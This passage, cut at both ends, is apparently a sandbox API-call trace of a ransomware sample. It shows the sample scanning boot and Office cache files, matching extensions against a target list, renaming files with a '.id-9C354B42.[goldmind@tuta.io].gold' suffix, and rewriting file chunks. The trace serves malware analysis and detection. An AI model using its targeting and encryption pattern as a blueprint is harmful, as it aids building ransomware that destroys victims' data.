"c:\\boot\\memtest.exe")) returned 0x20 [0034.990] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.990] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.990] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0034.990] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0034.990] lstrlenW (lpString=".doc") returned 4 [0034.990] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0034.990] lstrlenW (lpString=".docx") returned 5 [0034.990] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0034.990] lstrlenW (lpString=".pdf") returned 4 [0034.990] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0034.990] lstrlenW (lpString=".xls") returned 4 [0034.990] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0034.990] lstrlenW (lpString=".xlsx") returned 5 [0034.990] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0034.990] lstrlenW (lpString=".ppt") returned 4 [0034.990] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0034.990] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0034.990] lstrlenW (lpString=".zip") returned 4 [0034.990] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0034.990] lstrlenW (lpString=".rar") returned 4 [0034.990] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0034.990] lstrlenW (lpString=".bz2") returned 4 [0034.990] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0034.990] lstrlenW (lpString=".7z") returned 3 [0034.990] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0034.990] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0034.990] lstrlenW (lpString=".dbf") returned 4 [0034.990] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0034.991] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=88144) returned 1 [0034.991] CloseHandle (hObject=0x18c) returned 1 [0034.991] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0034.991] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.991] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.991] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=90704) returned 1 [0034.991] CloseHandle (hObject=0x18c) returned 1 [0034.991] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0034.991] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.991] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.992] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=90704) returned 1 [0034.992] CloseHandle (hObject=0x18c) returned 1 [0034.992] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0034.992] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.992] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.992] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=90176) returned 1 [0034.992] CloseHandle (hObject=0x18c) returned 1 [0034.992] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0034.992] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.992] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.993] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=89664) returned 1 [0034.993] CloseHandle (hObject=0x18c) returned 1 [0034.993] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0034.993] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.993] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.993] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=90192) returned 1 [0034.993] CloseHandle (hObject=0x18c) returned 1 [0034.993] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0034.993] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.993] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.994] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=87616) returned 1 [0034.994] CloseHandle (hObject=0x18c) returned 1 [0034.994] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0034.994] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.994] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.994] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=87104) returned 1 [0034.994] CloseHandle (hObject=0x18c) returned 1 [0034.994] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0034.994] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.994] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.995] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=70720) returned 1 [0034.995] CloseHandle (hObject=0x18c) returned 1 [0034.995] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0034.995] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.995] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.995] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=70224) returned 1 [0034.995] CloseHandle (hObject=0x18c) returned 1 [0034.995] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0034.995] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.996] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.996] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=70208) returned 1 [0034.996] CloseHandle (hObject=0x18c) returned 1 [0034.996] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0034.996] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.996] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.996] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=383786) returned 1 [0034.997] CloseHandle (hObject=0x18c) returned 1 [0034.997] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0034.997] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\bootmgr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.997] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0034.997] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.998] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=16972987) returned 1 [0034.998] CloseHandle (hObject=0x18c) returned 1 [0034.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0034.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.998] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0034.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.999] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.999] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.999] ReadFile (in: hFile=0x18c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.005] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.005] ReadFile (in: hFile=0x18c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.010] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.010] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.010] ReadFile (in: hFile=0x18c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.341] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.341] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0035.349] SetEndOfFile (hFile=0x18c) returned 1 [0035.350] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0035.543] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.544] WriteFile (in: hFile=0x18c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.544] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.544] WriteFile (in: hFile=0x18c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.545] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.545] WriteFile (in: hFile=0x18c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.546] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0035.546] CloseHandle (hObject=0x18c) returned 1 [0036.684] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0036.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.688] lstrlenW (lpString=".doc") returned 4 [0036.688] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0036.688] lstrlenW (lpString=".docx") returned 5 [0036.688] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0036.688] lstrlenW (lpString=".pdf") returned 4 [0036.688] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0036.688] lstrlenW (lpString=".xls") returned 4 [0036.688] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0036.688] lstrlenW (lpString=".xlsx") returned 5 [0036.688] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0036.688] lstrlenW (lpString=".ppt") returned 4 [0036.688] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0036.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.688] lstrlenW (lpString=".zip") returned 4 [0036.688] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0036.688] lstrlenW (lpString=".rar") returned 4 [0036.688] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0036.688] lstrlenW (lpString=".bz2") returned 4 [0036.688] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0036.688] lstrlenW (lpString=".7z") returned 3 [0036.689] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".dbf") returned 4 [0036.689] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".1cd") returned 4 [0036.689] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".jpg") returned 4 [0036.689] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".doc") returned 4 [0036.689] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString=".docx") returned 5 [0036.689] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0036.689] lstrlenW (lpString=".pdf") returned 4 [0036.689] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString=".xls") returned 4 [0036.689] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString=".xlsx") returned 5 [0036.689] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0036.689] lstrlenW (lpString=".ppt") returned 4 [0036.689] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".zip") returned 4 [0036.689] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString=".rar") returned 4 [0036.689] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString=".bz2") returned 4 [0036.689] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0036.689] lstrlenW (lpString=".7z") returned 3 [0036.689] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".dbf") returned 4 [0036.689] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".1cd") returned 4 [0036.689] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0036.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.689] lstrlenW (lpString=".jpg") returned 4 [0036.689] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0036.690] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0036.690] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0036.690] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0036.690] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=2865664) returned 1 [0036.690] CloseHandle (hObject=0x18c) returned 1 [0036.690] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0036.690] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.690] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0036.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0036.691] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.691] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.691] ReadFile (in: hFile=0x18c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.695] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.695] ReadFile (in: hFile=0x18c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.703] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.703] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x27ba00, 